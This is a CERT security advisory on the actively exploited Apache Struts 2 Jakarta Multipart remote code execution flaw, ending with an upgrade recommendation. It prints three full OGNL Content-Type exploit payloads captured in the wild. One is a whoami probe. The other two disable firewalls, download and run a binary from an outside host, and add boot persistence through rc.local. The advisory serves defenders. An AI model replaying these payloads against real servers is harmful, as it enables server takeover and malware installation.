Content-Type: Malicious - New Apache 0-day Under Attack

Security Advisory AE-Advisory 17-13

Criticality High

Advisory Released On 13-Mar-2017

Solution

Refer to the "Solution" section below

Affected Devices (As of 13-Mar-2017)

- Apache Struts 2

Summary

aeCERT has researched and found out about a new Apache vulnerability that is being actively exploited in the wild. The vulnerability is a remote code execution bug that affects the Jakarta Multipart parser in Apache Struts. Authorized entities began investigating for exploitation attempts and found a high number of exploitation events. The majority of the exploitation attempts seem to be leveraging a publicly released PoC that is being used to run various commands. They have also observed simple commands (i.e. whoami) as well as more sophisticated commands including pulling down a malicious ELF executable and execution. This is a great concern as once commands like the ones mentioned start to get used by an external entity, things can become troublesome for servers.

Threat Details

These are several of the many examples of attacks that are currently being observed and blocked. They fall into two broad categories, probing and malware distribution. The payloads being delivered vary considerably and to their credit many of the sites have already been taken down and the payloads are no longer available.

Simple Probing:

Below is an example of some simple probing attacks that are ongoing just checking to see if a system is vulnerable by executing a simple Linux based command:

```
POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: %{(#Nomal='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
```

In the above example, it can be seen that the command 'whoami' has been used which gives information about the user that this service is running, ideally root. Once an attacker is able to tell which user is running (let's suppose root), then they are able to come back with a more sophisticated set of commands. The authorized entity also observed that attackers usually use other commands such as a simple 'ifconfig' to gather network configuration on the vulnerable server.

Increased Sophistication:

In the screenshot below, we can see an example of an active attack that is a bit more sophisticated and contains a malicious payload:

```
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2
stop;reSuSEfirewall2 stop;wget -c http[redacted]:1234/2020;chmod 777 2020;./2020;').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

The command above includes stopping the Linux firewall as well as SUSE Linux firewall. Then, it downloads a malicious payload from a web server and executes it. The payloads for this vulnerability have varied but they include an IRC bouncer, a DoS bot, and a sample of the bill gates botnet.

Sophistication with persistence:

The screenshot below is another attack example that is similar to the example before it that downloads a malicious payload. The difference between them is that the example below uses persistence.

```
GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2
stop;reSuSEfirewall2 stop;cd /tmp;wget -c http[redacted]:2651/syn13576;chmod 777 syn13576;./syn13576;echo "cd
/tmp/">>/etc/rc.local;echo "./syn13576&">>/etc/rc.local;echo "/etc/init.d/iptables stop">>/etc/rc.local;').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, */*
Accept-Encoding: gbk, GB2312
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
```

The command attempts to copy the file to a benign directory and then ensure that both the executable runs, and that the firewall service will be disabled when the system boots up.

Refer to the solution section below to remediate this vulnerability.

Solution

Apache has released that certain versions of Apache Struts (2.3.32 / 2.5.10.1 or later) are not vulnerable and to upgrade to mitigate this issue, considering this is actively being exploited it is highly recommended that you upgrade immediately.

Contact Us

aeCERT

P.O. Box 116688 Dubai, United Arab Emirates

Tel	(+971) 4 230 0003
Fax	(+971) 4 230 0100
Email	info@aeCERT.ae

For secure communications with aeCERT with regards to sensitive or vulnerability information please send your correspondences to aeCERT@aeCERT.ae